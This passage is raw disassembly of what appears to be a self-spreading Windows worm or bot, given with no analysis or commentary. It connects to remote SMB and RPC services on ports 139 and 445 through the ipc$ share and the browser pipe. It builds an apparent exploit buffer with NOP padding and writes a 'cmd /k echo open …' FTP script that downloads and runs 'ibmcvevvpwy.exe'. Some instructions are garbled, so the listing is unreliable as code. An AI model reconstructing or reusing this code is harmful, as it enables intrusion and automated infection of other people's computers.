HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41BB70 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call ds:dword_4CDC48 ; send cmp eax, esi jz short loc_40D0EB xor bl, bl jmp short loc_40D0ED ; --------------------------------------------------------------------------- loc_40D0EB: ; CODE XREF: sub_40D066+7Fj mov bl, 1 loc_40D0ED: ; CODE XREF: sub_40D066+83j push edi call sub_41B2A1 pop ecx loc_40D0F4: ; CODE XREF: sub_40D066+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D4F9 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D4F9 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D066 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_4336B0 push eax call sub_41C500 add esp, 0Ch mov eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe" push eax push eax movzx eax, word ptr ds:dword_4CD938 push eax push dword ptr [ebp+8] call sub_40AAF8 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41BB70 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_433548 push eax call sub_40C930 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D1BF xor eax, eax jmp loc_40D2E7 ; --------------------------------------------------------------------------- loc_40D1BF: ; CODE XREF: seg000:0040D1B6j mov [ebp-0Ch], esi loc_40D1C2: ; CODE XREF: seg000:0040D2C2j test esi, esi jnz loc_40D2C8 push 6 push 1 push 2 call ds:dword_428220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D2B0 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call ds:dword_4CDBF8 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call ds:dword_4CDC38 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call ds:dword_4CDBA0 ; connect cmp eax, 0FFFFFFFFh jz loc_40D2A5 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D26D mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D4F9 lea eax, [ebp+0Ch] push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D531 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D066 add esp, 1Ch jmp short loc_40D2A2 ; --------------------------------------------------------------------------- loc_40D26D: ; CODE XREF: seg000:0040D22Bj cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D287 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CE29 jmp short loc_40D29F ; --------------------------------------------------------------------------- loc_40D287: ; CODE XREF: seg000:0040D277j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D2A5 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CD4A loc_40D29F: ; CODE XREF: seg000:0040D285j add esp, 0Ch loc_40D2A2: ; CODE XREF: seg000:0040D26Bj movzx esi, al loc_40D2A5: ; CODE XREF: seg000:0040D21Ej ; seg000:0040D291j push ebx call ds:dword_4CDC90 ; closesocket test esi, esi jnz short loc_40D2BB loc_40D2B0: ; CODE XREF: seg000:0040D1DBj push 3E8h call ds:dword_428064 ; Sleep loc_40D2BB: ; CODE XREF: seg000:0040D2AEj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D1C2 loc_40D2C8: ; CODE XREF: seg000:0040D1C4j lea ecx, [ebp-8] call sub_40C75D test esi, esi jz short loc_40D2E5 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_432A98[eax] inc dword ptr [eax] loc_40D2E5: ; CODE XREF: seg000:0040D2D2j mov eax, esi loc_40D2E7: ; CODE XREF: seg000:0040D1BAj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42709C loc_40D2EC: ; CODE XREF: sub_42709C+3j ; seg000:004270B5j ... push 1 call sub_40D4F9 retn ; END OF FUNCTION CHUNK FOR sub_42709C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40CEC7+111p ; sub_40CEC7+14Cp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_40D30B call sub_4266C0 loc_40D30B: ; CODE XREF: sub_40D2F4+10j cmp [ebp+arg_0], 0 jbe short loc_40D346 mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_40D473 test al, al jz short loc_40D346 movsx eax, [ebp+arg_4] push [ebp+arg_0] push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B780 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D346: ; CODE XREF: sub_40D2F4+1Bj ; sub_40D2F4+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D34E proc near ; CODE XREF: sub_40CEC7+132p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_40D365 call sub_4266C0 loc_40D365: ; CODE XREF: sub_40D34E+10j cmp [ebp+arg_4], 0 jbe short loc_40D39E mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_40D473 test al, al jz short loc_40D39E push [ebp+arg_4] mov eax, [esi+8] add eax, [esi+4] push [ebp+arg_0] push eax call sub_41C500 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D39E: ; CODE XREF: sub_40D34E+1Bj ; sub_40D34E+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40D34E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A6 proc near ; CODE XREF: sub_40CEC7+179p ; sub_42671A+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D3BE call sub_4268EC loc_40D3BE: ; CODE XREF: sub_40D3A6+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D3D0 mov esi, [ebp+arg_8] loc_40D3D0: ; CODE XREF: sub_40D3A6+25j cmp edi, ebx jnz short loc_40D3EE add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_40D566 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D566 jmp short loc_40D46A ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D3A6+2Cj test esi, esi jbe short loc_40D431 cmp esi, eax jnz short loc_40D431 mov eax, [ebx+4] test eax, eax jnz short loc_40D402 mov eax, offset dword_4286A8 loc_40D402: ; CODE XREF: sub_40D3A6+55j cmp byte ptr [eax-1], 0FEh jnb short loc_40D431 push 1 mov ecx, edi call sub_40D4F9 mov eax, [ebx+4] test eax, eax jnz short loc_40D41D mov eax, offset dword_4286A8 loc_40D41D: ; CODE XREF: sub_40D3A6+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D46A ; --------------------------------------------------------------------------- loc_40D431: ; CODE XREF: sub_40D3A6+4Aj ; sub_40D3A6+4Ej ... push 1 push esi mov ecx, edi call sub_40D473 test al, al jz short loc_40D46A mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_40D44E mov eax, offset dword_4286A8 loc_40D44E: ; CODE XREF: sub_40D3A6+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C500 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D46A: ; CODE XREF: sub_40D3A6+46j ; sub_40D3A6+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D3A6 endp ; =============== S U B R O U T I N E ======================================= sub_40D473 proc near ; CODE XREF: sub_40CEC7+3Dp ; sub_40D2F4+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D485 call sub_4266C0 loc_40D485: ; CODE XREF: sub_40D473+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_40D4AD mov cl, [eax-1] cmp cl, dl jz short loc_40D4AD cmp cl, 0FFh jz short loc_40D4AD cmp edi, edx mov ecx, esi jnz short loc_40D4EC dec byte ptr [eax-1] push edx loc_40D4A4: ; CODE XREF: sub_40D473+48j call sub_40D4F9 loc_40D4A9: ; CODE XREF: sub_40D473+4Cj ; sub_40D473+53j xor al, al jmp short loc_40D4F4 ; --------------------------------------------------------------------------- loc_40D4AD: ; CODE XREF: sub_40D473+19j ; sub_40D473+20j ... cmp edi, edx jnz short loc_40D4C8 cmp [esp+8+arg_4], dl jz short loc_40D4BD push 1 mov ecx, esi jmp short loc_40D4A4 ; --------------------------------------------------------------------------- loc_40D4BD: ; CODE XREF: sub_40D473+42j cmp eax, edx jz short loc_40D4A9 mov [esi+8], edx mov [eax], dl jmp short loc_40D4A9 ; --------------------------------------------------------------------------- loc_40D4C8: ; CODE XREF: sub_40D473+3Cj cmp [esp+8+arg_4], dl jz short loc_40D4E5 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D4DA cmp eax, edi jnb short loc_40D4F2 loc_40D4DA: ; CODE XREF: sub_40D473+61j push 1 mov ecx, esi call sub_40D4F9 jmp short loc_40D4EA ; --------------------------------------------------------------------------- loc_40D4E5: ; CODE XREF: sub_40D473+59j cmp [esi+0Ch], edi jnb short loc_40D4F2 loc_40D4EA: ; CODE XREF: sub_40D473+70j mov ecx, esi loc_40D4EC: ; CODE XREF: sub_40D473+2Bj push edi call sub_40D5CD loc_40D4F2: ; CODE XREF: sub_40D473+65j ; sub_40D473+75j mov al, 1 loc_40D4F4: ; CODE XREF: sub_40D473+38j pop edi pop esi retn 8 sub_40D473 endp ; =============== S U B R O U T I N E ======================================= sub_40D4F9 proc near ; CODE XREF: sub_40CEC7+1Fp ; sub_40CEC7+16Bp ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D521 mov eax, [esi+4] test eax, eax jz short loc_40D521 dec eax mov cl, [eax] test cl, cl jz short loc_40D51A cmp cl, 0FFh jz short loc_40D51A dec byte ptr [eax] jmp short loc_40D521 ; --------------------------------------------------------------------------- loc_40D51A: ; CODE XREF: sub_40D4F9+16j ; sub_40D4F9+1Bj push eax call sub_41CE73 pop ecx loc_40D521: ; CODE XREF: sub_40D4F9+8j ; sub_40D4F9+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D4F9 endp ; =============== S U B R O U T I N E ======================================= sub_40D531 proc near ; CODE XREF: seg000:0040D257p ; sub_40D68A+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_40D473 test al, al jz short loc_40D55F push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C500 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D55F: ; CODE XREF: sub_40D531+12j mov eax, esi pop edi pop esi retn 8 sub_40D531 endp ; =============== S U B R O U T I N E ======================================= sub_40D566 proc near ; CODE XREF: sub_40D3A6+35p ; sub_40D3A6+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D579 call sub_4268EC loc_40D579: ; CODE XREF: sub_40D566+Cj mov ecx, edi call sub_40D68A mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D58F mov ebx, eax loc_40D58F: ; CODE XREF: sub_40D566+25j test ebx, ebx jbe short loc_40D5C5 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CE80 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D473 test al, al jz short loc_40D5C5 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D5C5: ; CODE XREF: sub_40D566+2Bj ; sub_40D566+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D566 endp ; =============== S U B R O U T I N E ======================================= sub_40D5CD proc near ; CODE XREF: sub_40D473+7Ap mov eax, offset loc_4270E4 call sub_41CE54 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D5F3 mov edi, [ebp+8] loc_40D5F3: ; CODE XREF: sub_40D5CD+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D600 xor eax, eax loc_40D600: ; CODE XREF: sub_40D5CD+2Fj push eax call sub_41D1B5 pop ecx mov [ebp+8], eax jmp short loc_40D631 ; --------------------------------------------------------------------------- loc_40D60C: ; DATA XREF: seg001:00428FD4o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D61B xor eax, eax loc_40D61B: ; CODE XREF: sub_40D5CD+4Aj push eax call sub_41D1B5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D62B retn ; --------------------------------------------------------------------------- loc_40D62B: ; DATA XREF: sub_40D5CD+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D631: ; CODE XREF: sub_40D5CD+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D64F cmp eax, edi jbe short loc_40D63E mov eax, edi loc_40D63E: ; CODE XREF: sub_40D5CD+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C500 add esp, 0Ch loc_40D64F: ; CODE XREF: sub_40D5CD+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D4F9 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D66F mov edi, ebx loc_40D66F: ; CODE XREF: sub_40D5CD+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D5CD endp ; =============== S U B R O U T I N E ======================================= sub_40D68A proc near ; CODE XREF: sub_40D566+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D6B7 mov al, [esi-1] test al, al jz short loc_40D6B7 cmp al, 0FFh jz short loc_40D6B7 push 1 call sub_40D4F9 push esi call sub_41B1D0 pop ecx push eax push esi mov ecx, edi call sub_40D531 loc_40D6B7: ; CODE XREF: sub_40D68A+9j ; sub_40D68A+10j ... pop edi pop esi retn sub_40D68A endp ; =============== S U B R O U T I N E ======================================= sub_40D6BA proc near ; DATA XREF: seg002:0042A008o test ds:byte_4DE1D4, 1 jnz short loc_40D6CA or ds:byte_4DE1D4, 1 loc_40D6CA: ; CODE XREF: sub_40D6BA+7j jmp $+5 push offset nullsub_1 call sub_41D230 pop ecx retn sub_40D6BA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, 8Bh sub esp, 0BCh lea esi, [ebp+8] mov [ebp+0A8h], ebx push 2Fh pop ecx mov edi, esp rep movsd call sub_40DD8F push 2Fh lea esi, [ebp+8] pop ecx mov [ebp+0A8h], ebx mov edi, esp rep movsd call sub_40E27B push 2Fh lea esi, [ebp+8] pop ecx mov [ebp+0A8h], ebx mov edi, esp rep movsd call sub_40E64C add esp, 0BCh xor eax, eax inc eax pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D739 proc near ; DATA XREF: seg002:0042A00Co jmp $+5 sub_40D739 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D73E proc near mov eax, ds:dword_433968 add eax, 6 mov ds:dword_4D0900, eax retn sub_40D73E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74C proc near ; CODE XREF: sub_40D74C+D0p ; sub_40D83A+484p var_74BF8B40 = dword ptr -74BF8B40h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D760 or [ebp+arg_7], 1 jmp short loc_40D764 ; --------------------------------------------------------------------------- loc_40D760: ; CODE XREF: sub_40D74C+Cj and [ebp+arg_7], 0FEh loc_40D764: ; CODE XREF: sub_40D74C+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D788 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D79A ; --------------------------------------------------------------------------- loc_40D788: ; CODE XREF: sub_40D74C+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D79A: ; CODE XREF: sub_40D74C+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B6C5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D833 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C500 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call near ptr 0B10000h or eax, [ebp+var_74BF8B40] inc ebp cld cmp [ebp+var_8], eax jnz short loc_40D82A push [ebp+arg_20] call sub_41B2A1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D826 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D74C add esp, 2Ch jmp short loc_40D835 ; --------------------------------------------------------------------------- loc_40D826: ; CODE XREF: sub_40D74C+B3j mov al, 1 jmp short loc_40D835 ; --------------------------------------------------------------------------- loc_40D82A: ; CODE XREF: sub_40D74C+A4j push [ebp+arg_20] call sub_41B2A1 pop ecx loc_40D833: ; CODE XREF: sub_40D74C+61j xor al, al loc_40D835: ; CODE XREF: sub_40D74C+D8j ; sub_40D74C+DCj pop edi pop esi pop ebx leave retn sub_40D74C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D83A proc near ; CODE XREF: sub_40DD8F+15p ; sub_40DD8F+3Cp var_60E0 = byte ptr -60E0h var_40E0 = byte ptr -40E0h var_20E0 = byte ptr -20E0h var_E0 = byte ptr -0E0h var_CC = dword ptr -0CCh var_C0 = byte ptr -0C0h var_BC = byte ptr -0BCh var_BB = byte ptr -0BBh var_BA = byte ptr -0BAh var_B9 = byte ptr -0B9h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h var_B2 = word ptr -0B2h var_B0 = dword ptr -0B0h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = word ptr -0A0h var_9E = byte ptr -9Eh var_9C = byte ptr -9Ch var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = word ptr -64h var_60 = byte ptr -60h var_54 = qword ptr -54h var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_42 = word ptr -42h var_40 = dword ptr -40h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = qword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A8 = dword ptr 0B0h arg_BC = dword ptr 0C4h push ebp mov ebp, esp mov eax, 60E0h call sub_41BD10 push ebx push esi push edi lea eax, [ebp+arg_4] push offset a_ ; "." push eax call sub_41D350 pop ecx xor ebx, ebx test eax, eax pop ecx mov esi, 2000h jz short loc_40D8AE lea eax, [ebp+arg_4] push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp+var_20E0] push esi push eax call sub_41BB70 push 20h lea eax, [ebp+var_E0] push ebx push eax call sub_41B780 lea eax, [ebp+var_20E0] add esp, 1Ch mov [ebp+var_CC], eax mov eax, offset dword_43FDB4 push ebx push eax push eax lea eax, [ebp+var_E0] push eax call ds:dword_4CDCA0 loc_40D8AE: ; CODE XREF: sub_40D83A+29j lea eax, [ebp+arg_4] push eax push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" lea eax, [ebp+var_40E0] push esi push eax call sub_41BB70 add esp, 10h lea eax, [ebp+var_40E0] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call ds:dword_4280EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40D8F3 loc_40D8EC: ; CODE XREF: sub_40D83A+266j ; sub_40D83A+371j ... xor eax, eax jmp loc_40DD8A ; --------------------------------------------------------------------------- loc_40D8F3: ; CODE XREF: sub_40D83A+B0j push 48h lea eax, [ebp+var_BC] push ebx push eax call sub_41B780 push 10h xor edi, edi pop eax inc edi mov [ebp+var_B8], eax push eax lea eax, [ebp+var_9C] push offset dword_4339BC push eax mov [ebp+var_BC], 5 mov [ebp+var_BB], bl mov [ebp+var_BA], 0Bh mov [ebp+var_B9], 3 mov [ebp+var_B4], 48h mov [ebp+var_B2], bx mov [ebp+var_B0], ebx mov [ebp+var_AC], 10B8h mov [ebp+var_AA], 10B8h mov [ebp+var_A8], ebx mov [ebp+var_A4], edi mov [ebp+var_A0], bx mov [ebp+var_9E], 1 call sub_41C500 push 10h lea eax, [ebp+var_88] push offset dword_4339A8 push eax mov [ebp+var_8C], 3 call sub_41C500 add esp, 24h lea eax, [ebp+var_C0] mov [ebp+var_78], 2 push ebx push eax lea eax, [ebp+var_BC] push 48h push eax push [ebp+var_8] call near ptr 0B10000h pop ss test eax, eax jz loc_40DA97 lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_60E0] push esi push eax push [ebp+var_8] call ds:dword_4280E8 ; ReadFile push ebx call sub_41D271 ; --------------------------------------------------------------------------- push eax call sub_41BAC8 push 14h lea eax, [ebp+var_74] push 41h push eax call sub_41B780 push 1Ch lea eax, [ebp+var_34] push 41h push eax call sub_41B780 add esp, 20h call sub_41BAD2 mov esi, [ebp+arg_BC] mov [ebp+var_74], eax mov [ebp+var_68], edi mov [ebp+var_6C], ebx lea esi, [esi+esi*4] mov [ebp+var_70], edi shl esi, 2 mov [ebp+var_64], bx mov [ebp+var_2C], ebx cmp ds:byte_433950[esi], bl jz short loc_40DA40 push 4 mov [ebp+var_28], edi mov [ebp+var_30], edi push offset dword_4D0904 jmp short loc_40DA50 ; --------------------------------------------------------------------------- loc_40DA40: ; CODE XREF: sub_40D83A+1F5j push 2 pop eax push 4 mov [ebp+var_28], eax mov [ebp+var_30], eax push (offset loc_43399F+1) loc_40DA50: ; CODE XREF: sub_40D83A+204j lea eax, [ebp+var_24] push eax call sub_41C500 add esp, 0Ch call sub_41BAD2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_34], edx call sub_41BAD2 cdq idiv edi mov eax, ds:dword_433944[esi] mov [ebp+var_1C], ebx push eax mov [ebp+arg_BC], eax inc edx mov [ebp+var_20], edx call sub_41B6C5 mov edi, eax pop ecx cmp edi, ebx jnz short loc_40DAA5 loc_40DA97: ; CODE XREF: sub_40D83A+186j push [ebp+var_8] call ds:dword_42806C ; CloseHandle jmp loc_40D8EC ; --------------------------------------------------------------------------- loc_40DAA5: ; CODE XREF: sub_40D83A+25Bj mov eax, [ebp+arg_BC] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B780 mov eax, [ebp+arg_BC] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B780 mov eax, ds:dword_43394C[esi] push 7 add eax, edi push offset dword_433938 push eax mov [ebp+var_4], eax call sub_41C500 mov eax, [ebp+var_4] push 15Ch add eax, 7 push offset dword_4337D8 push eax call sub_41C500 mov eax, ds:dword_433948[esi] add esp, 30h mov [ebp+var_4], eax add eax, edi cmp ds:byte_433950[esi], bl jz short loc_40DB5C push 4 push offset dword_4D0900 push eax call sub_41C500 add [ebp+var_4], 0Ch mov esi, offset dword_433968 mov eax, [ebp+var_4] push 4 add eax, edi push esi push eax call sub_41C500 mov eax, [ebp+var_4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+var_4], eax call sub_41C500 mov eax, [ebp+var_4] push 4 add eax, 0Ch push esi push eax call sub_41C500 add esp, 30h jmp short loc_40DB82 ; --------------------------------------------------------------------------- loc_40DB5C: ; CODE XREF: sub_40D83A+2D5j mov [ebp+var_4], eax mov [ebp+var_C], 10h mov esi, offset dword_433968 loc_40DB6B: ; CODE XREF: sub_40D83A+346j push 4 push esi push [ebp+var_4] call sub_41C500 add [ebp+var_4], 4 add esp, 0Ch dec [ebp+var_C] jnz short loc_40DB6B loc_40DB82: ; CODE XREF: sub_40D83A+320j mov eax, [ebp+arg_BC] add eax, 42h push eax call sub_41B6C5 mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_C], esi jnz short loc_40DBB0 push [ebp+var_8] call ds:dword_42806C ; CloseHandle push edi call sub_41B2A1 pop ecx jmp loc_40D8EC ; --------------------------------------------------------------------------- loc_40DBB0: ; CODE XREF: sub_40D83A+35Fj mov eax, [ebp+arg_BC] add eax, 42h push eax push ebx ; double push esi call sub_41B780 lea eax, [ebp+var_74] push 14h push eax push esi call sub_41C500 mov eax, [ebp+arg_BC] mov dword ptr [ebp+var_14+4], ebx mov dword ptr [ebp+var_14], eax add esp, 10h fild [ebp+var_14] fmul ds:flt_4286AC fstp qword ptr [esp+64h+var_64] call sub_41C9AF call sub_41C988 push [ebp+arg_BC] mov [esi+1Ch], eax mov [esi+14h], eax lea eax, [esi+20h] push edi push eax mov [esi+18h], ebx call sub_41C500 mov eax, [ebp+arg_BC] add esp, 14h add eax, 20h test al, 3 mov [ebp+var_4], eax jz short loc_40DC26 loc_40DC1E: ; CODE XREF: sub_40D83A+3E7j inc eax test al, 3 jnz short loc_40DC1E mov [ebp+var_4], eax loc_40DC26: ; CODE XREF: sub_40D83A+3E2j lea ecx, [ebp+var_34] push 1Ch add eax, esi push ecx push eax call sub_41C500 add [ebp+var_4], 1Ch push edi call sub_41B2A1 push 18h lea eax, [ebp+var_4C] push ebx push eax call sub_41B780 push 14h lea eax, [ebp+var_60] push ebx push eax mov [ebp+var_4C], 5 mov [ebp+var_4B], bl mov [ebp+var_4A], bl mov [ebp+var_49], 3 mov [ebp+var_48], 10h mov [ebp+var_42], bx mov [ebp+var_40], ebx mov [ebp+var_38], bx mov [ebp+var_36], 1Fh call sub_41B780 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 0B10000h sub cl, [ecx-62774FBBh] mov dword ptr [eax], 5D890000h lock cmp dword ptr [ebp+var_14+4], 2 ; CODE XREF: sub_40D83A+51Ej jge loc_40DD63 push 1 push 10B8h push [ebp+var_4] inc dword ptr [ebp+var_14+4] push esi lea esi, [ebp+var_4C] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_8] rep movsd call sub_40D74C add esp, 2Ch test al, al jz loc_40DD60 cmp dword ptr [ebp+var_54+4], ebx jz short loc_40DD4F lea eax, [ebp+var_60] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_60E0] push 2000h push eax push [ebp+var_8] call ds:dword_4280E8 ; ReadFile test eax, eax jnz short loc_40DD05 call ds:dword_42808C ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40D8EC loc_40DD05: ; CODE XREF: sub_40D83A+4B8j push 3E8h push dword 